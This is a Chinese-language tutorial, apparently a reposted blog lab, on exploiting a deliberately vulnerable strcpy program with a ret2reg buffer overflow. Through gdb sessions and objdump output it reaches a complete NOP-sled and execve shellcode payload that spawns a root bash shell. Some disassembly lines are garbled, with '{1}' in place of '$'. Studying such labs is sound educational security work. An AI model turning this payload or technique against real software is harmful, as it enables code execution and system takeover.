ret2reg缓冲区溢出攻击

转载请注明出处:http://blog.csdn.net/wangxiaolong_china

 

被溢出程序源码如下:

root@linux:~/pentest# cat vulnerable.c 
#include <stdio.h>
#include <string.h>

void evilfunction(char *input) {

    char buffer[1000];
    strcpy(buffer, input);
}

int main(int argc, char **argv) {

    evilfunction(argv[1]);

    return 0;
}

编译,并用gdb反汇编代码如下:

root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c


root@linux:~/pentest# gdb vulnerable
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/pentest/vulnerable...done.
(gdb) disass main
Dump of assembler code for function main:
   0x080483e4 <+0>:    push   %ebp
   0x080483e5 <+1>:    mov    %esp,%ebp
   0x080483e7 <+3>:    and    {1}xfffffff0,%esp
   0x080483ea <+6>:    sub    {1}x10,%esp
   0x080483ed <+9>:    mov    0xc(%ebp),%eax
   0x080483f0 <+12>:    add    {1}x4,%eax
   0x080483f3 <+15>:    mov    (%eax),%eax
   0x080483f5 <+17>:   mov    %eax,(%esp)
   0x080483f8 <+20>:    call   0x80483c4 <evilfunction>
   0x080483fd <+25>:    mov    {1}x0,%eax
   0x08048402 <+30>:    leave  
   0x08048403 <+31>:    ret    
End of assembler dump.
(gdb) disass evilfunction
Dump of assembler code for function evilfunction:
   0x080483c4 <+0>:    push   %ebp
   0x080483c5 <+1>:    mov    %esp,%ebp
   0x080483c7 <+3>:    sub    {1}x408,%esp
   0x080483cd <+9>:    mov    0x8(%ebp),%eax
   0x080483d0 <+12>:    mov    %eax,0x4(%esp)
   0x080483d4 <+16>:    lea    -0x3f0(%ebp),%eax
   0x080483da <+22>:    mov    %eax,(%esp)
   0x080483dd <+25>:    call   0x80482f4 <strcpy@plt>
   0x080483e2 <+30>:    leave  
   0x080483e3 <+31>:    ret    
End of assembler dump.
(gdb)

分析evilfunction函数调用栈的使用情况,如下图所示:

ret2reg缓冲区溢出攻击_第1张图片

可以看到,要想溢出该栈,需要至少1016B的数据。

下面我们用gdb调试一下,看上面的分析是不是正确:

(gdb) run `perl -e 'print "\x41"x1014'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1014'`

Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
(gdb) run `perl -e 'print "\x41"x1015'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1015'`

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb) run `perl -e 'print "\x41"x1016'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1016'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

通过调试,可见分析是正确的。那么接下来,我们将构造我们的shellcode来溢出该堆栈。这一节中,我们将使用一种常用的技巧,ret2reg(return to register),与上文中提到的基本溢出方法不同的是,基本溢出使用esp地址硬编码eip的方式来执行我们的shellcode,而ret2reg则使用现有指令地址覆写eip,该指令将跳转到一个寄存器指向的buffer的地址处执行。

下面使用gdb调试整个溢出过程,看是否有某个寄存器可供我们使用。即在程序溢出时,那个寄存器指向我们所要执行的shellcode。

root@linux:~/pentest# gdb vulnerable
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/pentest/vulnerable...done.
(gdb) disass main
Dump of assembler code for function main:
   0x080483e4 <+0>:    push   %ebp
   0x080483e5 <+1>:    mov    %esp,%ebp
  0x080483e7 <+3>:    and    {1}xfffffff0,%esp
   0x080483ea <+6>:    sub    {1}x10,%esp
   0x080483ed <+9>:    mov    0xc(%ebp),%eax
   0x080483f0 <+12>:    add    {1}x4,%eax
   0x080483f3 <+15>:    mov    (%eax),%eax
   0x080483f5 <+17>:    mov    %eax,(%esp)
   0x080483f8 <+20>:    call   0x80483c4 <evilfunction>
   0x080483fd <+25>:    mov    {1}x0,%eax
   0x08048402 <+30>:    leave  
   0x08048403 <+31>:    ret    
End of assembler dump.
(gdb) b *main+20
Breakpoint 1 at 0x80483f8: file vulnerable.c, line 12.
(gdb) b *main+31
Breakpoint 2 at 0x8048403: file vulnerable.c, line 15.
(gdb) disass evilfunction 
Dump of assembler code for function evilfunction:
   0x080483c4 <+0>:    push   %ebp
   0x080483c5 <+1>:    mov    %esp,%ebp
   0x080483c7 <+3>:    sub    {1}x408,%esp
   0x080483cd <+9>:    mov    0x8(%ebp),%eax
   0x080483d0 <+12>:    mov    %eax,0x4(%esp)
   0x080483d4 <+16>:    lea    -0x3f0(%ebp),%eax
   0x080483da <+22>:    mov    %eax,(%esp)
   0x080483dd <+25>:    call   0x80482f4 <strcpy@plt>
   0x080483e2 <+30>:    leave  
   0x080483e3 <+31>:    ret    
End of assembler dump.
(gdb) b *evilfunction+31
Breakpoint 3 at 0x80483e3: file vulnerable.c, line 8.
(gdb) run `perl -e 'print "\x41"x1012,"\x42"x4'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1012,"\x42"x4'`

Breakpoint 1, 0x080483f8 in main (argc=2, argv=0xbffff064) at vulnerable.c:12
12        evilfunction(argv[1]);
(gdb) stepi
evilfunction (input=0xbffff203 'A' <repeats 200 times>...) at vulnerable.c:4
4    void evilfunction(char *input) {
(gdb) i r esp
esp            0xbfffef9c    0xbfffef9c
(gdb) x/10x $esp-16
0xbfffef8c:    0x08048429    0x00171cbd    0x0029f324   0x0029eff4
0xbfffef9c:    0x080483fd    0xbffff203    0x0011ea50    0x0804841b
0xbfffefac:    0x0029eff4    0x08048410
(gdb) c
Continuing.

Breakpoint 3, 0x080483e3 in evilfunction (input=0xbffff200 "le") at vulnerable.c:8
8    }
(gdb) i r esp
esp            0xbfffef9c    0xbfffef9c
(gdb) x/10x $esp-16
0xbfffef8c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffef9c:    0x42424242    0xbffff200    0x0011ea50    0x0804841b
0xbfffefac:    0x0029eff4    0x08048410
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r 
eax            0xbfffeba8    -1073747032
ecx            0x0    0
edx            0xbffff5fc    -1073744388
ebx            0x29eff4    2748404
esp            0xbfffefa0    0xbfffefa0
ebp            0x41414141    0x41414141
esi            0x0    0
edi            0x0    0
eip            0x42424242   0x42424242
eflags         0x10246    [ PF ZF IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb) x/20x $eax
0xbfffeba8:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffebb8:    0x41414141   0x41414141    0x41414141    0x41414141
0xbfffebc8:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffebd8:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffebe8:    0x41414141    0x41414141    0x41414141    0x41414141
(gdb) x/20x $eax -16
0xbfffeb98:    0x0015b1c4    0x0015b1c4    0x000027d8    0x00005844
0xbfffeba8:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffebb8:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffebc8:    0x41414141   0x41414141    0x41414141    0x41414141
0xbfffebd8:    0x41414141    0x41414141    0x41414141    0x41414141
(gdb)

通过上面得过程分析,可以知道,在溢出时,eax寄存器恰好指向我们要执行的堆栈的起始地址处。即,我们可以利用eax来实现ret2reg。即寻找类似“call *%eax”或者“jmp *%eax”类似的指令。通常,我们需要在共享库中查找类似指令。

为了简便起见,先查找本程序中是否包含eax的指令。

root@linux:~/pentest#objdump -d vulnerable | grep eax
 80482c0:   58                      pop    %eax
 80482d0:    0000                   add    %al,(%eax)
 8048318:   50                      push   %eax
 8048350:    a1 18 a0 04 08          mov    0x804a018,%eax
 8048366:    39d8                   cmp    %ebx,%eax
 8048370:    83 c001                add    {1}x1,%eax
 8048373:    a3 18 a0 04 08          mov    %eax,0x804a018
 8048378:    ff 14 85 1c 9f 04 08     call  *0x8049f1c(,%eax,4)
 804837f:    a1 18 a0 04 08          mov    0x804a018,%eax
 8048384:    39d8                   cmp    %ebx,%eax
 80483a6:    a1 24 9f 04 08          mov    0x8049f24,%eax
 80483ab:    85c0                   test   %eax,%eax
 80483af:    b8 00 00 00 00          mov    {1}x0,%eax
 80483b4:    85c0                   test   %eax,%eax
 80483bf:   ffd0                   call   *%eax
 80483cd:    8b 4508                mov    0x8(%ebp),%eax
 80483d0:   89 44 24 04             mov    %eax,0x4(%esp)
 80483d4:    8d 85 10 fc ff ff       lea    -0x3f0(%ebp),%eax
 80483da:    89 0424                mov    %eax,(%esp)
 80483ed:    8b 450c                mov    0xc(%ebp),%eax
 80483f0:    83 c004                add    {1}x4,%eax
 80483f3:    8b00                   mov   (%eax),%eax
 80483f5:    89 0424                mov    %eax,(%esp)
 80483fd:    b8 00 00 00 00          mov    {1}x0,%eax
 804842f:    8d 83 20 ff ff ff       lea    -0xe0(%ebx),%eax
 8048435:    29c7                   sub    %eax,%edi
 8048440:    8b 45 10                mov    0x10(%ebp),%eax
 8048443:    89 44 24 08             mov   %eax,0x8(%esp)
 8048447:    8b 450c                mov    0xc(%ebp),%eax
 804844a:    89 44 24 04             mov    %eax,0x4(%esp)
 804844e:    8b 4508                 mov   0x8(%ebp),%eax
 8048451:    89 0424                mov    %eax,(%esp)
 8048487:    a1 14 9f 04 08          mov    0x8049f14,%eax
 804848c:    83 f8ff               cmp    {1}xffffffff,%eax
 804849b:   ffd0                   call   *%eax
 804849d:    8b03                   mov    (%ebx),%eax
 804849f:    83 f8ff                cmp    {1}xffffffff,%eax
root@linux:~/pentest#

可以看到,程序中包含我们要找的类似于“jmp/call *%eax”的指令。这样,我们将采用“0x80483bf”这个地址。

接下来需要构建我们的溢出代码,设计格式如下:

#############################################################

“\x90” * 400B +shellcode(45B) + “\x90” * 567B + “0x80483bf”(4B)

#############################################################

下面按照上面的格式,构造,并进行溢出测试。

root@linux:~/pentest# gdb vulnerable
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/pentest/vulnerable...done.
(gdb) r `perl -e 'print "\x90"x400,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\x90"x567,"\xbf\x83\x04\x08"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/pentest/vulnerable `perl -e 'print "\x90"x400,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\x90"x567,"\xbf\x83\x04\x08"'`
process 1909 is executing new program: /bin/bash
root@linux:/root/pentest# ls
shellcode  shellcode.bin  shellcode.c  shellcode.pl  shellcode_generator  shellcode_generator.c  test.c  vulnerable  vulnerable.c
root@linux:/root/pentest# exit
exit

Program exited normally.
(gdb)

可以看到,我们的溢出代码成功的获得了shell。

 

你可能感兴趣的:(c,linux,function,perl,input,Signal)